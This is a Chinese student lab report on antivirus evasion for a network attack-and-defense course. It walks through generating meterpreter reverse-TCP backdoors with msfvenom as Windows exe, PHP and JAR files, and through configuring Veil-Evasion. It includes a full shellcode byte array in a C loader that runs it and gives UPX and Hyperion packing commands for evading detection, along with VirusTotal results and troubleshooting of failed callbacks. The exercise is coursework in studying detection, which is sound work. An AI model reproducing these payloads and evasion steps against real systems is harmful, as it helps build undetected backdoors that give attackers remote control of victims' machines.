20165218 《网络对抗技术》Exp3 免杀原理与实践

Exp3 免杀原理与实践

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

使用VirusTotal或Viscan网站扫描后门程序

免杀工具1——msfvenom使用编码器

- 使用msfvenom命令生成exe文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86shikata_ga_nai -b 'x00' LHOST=192.168.72.130 LPORT=5218 -f exe > test1.exe
// -e 选择编码器
// -b payload中需要去除的字符,该命令中为了使'x00'不出现在shellcode中,因为shellcode以'x00'为结束符

不仅没有免杀,甚至还变多了

  • 迭代多次生成exe文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86shikata_ga_nai -i 15 -b 'x00' LHOST=192.168.72.130 LPORT=5218 -f exe > test2.exe
\-i 设置迭代次数

没什么差别

  1. 杀软厂商研究的是编码器本身,shikata_ga_nai总会有解码(decoder stub)部分需要加入到exe中,只要盯住这部分就可以了。
  1. msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。一般来说杀软厂商会针对其使用的模板来生成特征码,一劳永逸地解决所有msfvenom生成的恶意代码。如果使用msfvenom免杀,就要使用原生的模板。
生成php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.72.130 LPORT=5218 x > test4.php

生成jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.72.130 LPORT=5218 x > test3.jar

免杀工具2——Veil-Evasion

什么是veil

去百度了一下veil,居然没有词条,老师写的教程里说与metasploit类似,也是一个免杀平台,查了下metasploit,是个开源的安全漏洞检测工具,通过它可以地获取、开发并对计算机软件漏洞实施攻击,本身附带数百个已知软件漏洞的专业级漏洞攻击工具,其初衷是打造一个攻击工具开发平台。那我就按照这个来理解veil-evasion吧……

实验过程
  • 命令行veil打开平台

  • 依次输入如下命令进行配置

use Evasion                     
use c/meterpreter/rev_tcp.c     //设置payload
set LHOST 192.168.72.136        
set LPORT 5218                  //设置回连的ip和端口
generate                        //生成文件
  • 然后输入名字veilC2018,生成完毕后可以分别看到c语言生成的程序的源码和可执行程序的位置

  • 放入VirusTotal检测

好像没有刚刚那么惨烈,但还是有将近一半的杀软找到

免杀技术3——C语言调用Shellcode

  • 生成一段shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.72.136 LPORT=5218 -f c

  • 将shellcode数组写成一个.c程序
unsigned char buf[] = 
"xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
"x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
"xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
"x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
"x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
"x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
"x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
"x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
"x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
"x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c"
"x77x26x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54"
"x50x68x29x80x6bx00xffxd5x6ax0ax68xc0xa8x48x88"
"x68x02x00x11x5cx89xe6x50x50x50x50x40x50x40x50"
"x68xeax0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5"
"x74x61xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67"
"x00x00x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxff"
"xd5x83xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00"
"x56x6ax00x68x58xa4x53xe5xffxd5x93x53x6ax00x56"
"x53x57x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58"
"x68x00x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5"
"x57x68x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85"
"x70xffxffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1"
"xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

Kali Linux图形界面下的新建空白文档我实在是看不懂@-@,用touch text建了改的名(其实可以直接touch [filename],开始从网上查还以为text也是命令的一部分,哎 学艺不精)

  • 编译成可执行文件
i686-w64-mingw32-g++ met5218.c -o met5218.exe
  • VirusTotal检测

  • 放到主机被无情删除

  • 其实回连不成功,那为什么会被删除 哭了

免杀技术4——加壳

什么是加壳

外壳保护技术,用户执行的实际上是这个外壳的程序,而这个外壳程序负责把用户原来的程序在内存中解开压缩,并把控制权交还给解开后的真正的程序,由于一切工作都是在内存中运行,用户根本不知道也不需要知道其运行过程,并且对执行速度没有什么影响。如果在外壳程序中加入对软件锁或钥匙盘的验证部分,它就是我们所说的外壳保护了。
在中文中的壳一般包含两种类型:压缩壳和加密壳。但在英文中确实两个不同的概念,与这两种类型对应的英文名词为:Packer和Protector。
压缩壳
对源程序代码进行压缩后,重新封装并生成可执行文件的一种壳。压缩壳的压缩算法一般采用已经较成熟的引擎,如aPLib、JCALG1等。
对于一些比较流行的压缩引擎后压缩壳,杀毒软件会针对这些壳专门开发与之对应的解压缩引擎,对加壳后的软件解压缩后进行杀毒,因而通常情况下使用压缩壳难以达到免杀目的。
加密壳
加密壳相比压缩壳的功能要复杂的多,加密壳侧重在软件保护上,压缩重新体积不是其主要任务,通常加密壳会将程序代码混淆加密,已达到防破解的目的,一些功能强大的加密壳可以给程序添加一些额外功能,包括限制软件使用时间,给软件添加注册功能等。

操作步骤
压缩壳
upx met5218.exe -o met5218_1.exe

加密壳
cp [filename.exe] /usr/share/windows-binaries/hyperion/
cd /usr/share/windows-binaries/hyperion/
wine hyperion.exe -v [filename.exe] [new_filename.exe]


不能回连的原因??

1.是否因为没有头文件

看到群里有人说,加了头文件解决了于是尝试了一下,问百度func函数

这个是编译器支持的,不要头文件的
1.不是所有的编译器都支持(如VC2008,不支持__FUNC__)
2.可能用法的问题(这两个都是字串)

编译的时候并没有报错,也就是说编译器没问题,不过还是试着加了个#include <stdio.h>,但最后还是无法回连

2.用其他操作系统编译呢?

尝试了用Ubuntu编译,没用,难过

后来大奕说用主机下codeblocks编译,生成的.exe可以回连,试了试还是不行……

3.难道是两台主机网络连接有问题??

没问题,ping通的

4.端口问题吗?

更换端口重新做了一遍,没什么变化

5.开始突发奇想了,上个实验中的后门程序能用吗?

可以使用的,仅仅加压缩壳或者仅加加密壳以后也都可以

但是压缩壳->加密壳,不行;后来不死心先做了加密壳又做了压缩壳竟然能够回连了,就是要等一段时间,所以我猜测先压缩后加密是不是因为我时间等的不够,那之前的半手工注入shellcode是不是也是时间不够?

操作 是否可回连 是否被查杀
0原后门程序
1压缩壳
2压缩壳+加密壳
5加密壳
6加密壳+压缩壳

等了5分钟,“压缩壳+加密壳”没连上,看来是真的连不上了

基础问题回答

杀软是如何检测出恶意代码的?
  • 特征码扫描
  • 启发式扫描
  • 虚拟机技术
  • 主动防御技术
  • 自免疫技术
  • ……
免杀是做什么的?

使恶意代码逃过杀毒软件的查杀

免杀的基本方法有哪些?
  • msfvenom直接生成
  • msfvenom编码一次
  • msfvenom多次编码
  • veil-evasion
  • 半手工生成shellcode
  • 加壳(压缩壳,加密壳)
  • ……
开启杀软能绝对防止电脑中恶意代码吗?

当然不行,即便是开始直接生成的后门程序测试中也有杀软找不出来呢。

实验总结与体会

体会就是,好难啊,头发都要掉没了。为什么我的杀软这么好用呢?尝试了很多方法也没法实现,推测还是shellcode出问题了

原文地址:https://www.cnblogs.com/zicerain/p/10628662.html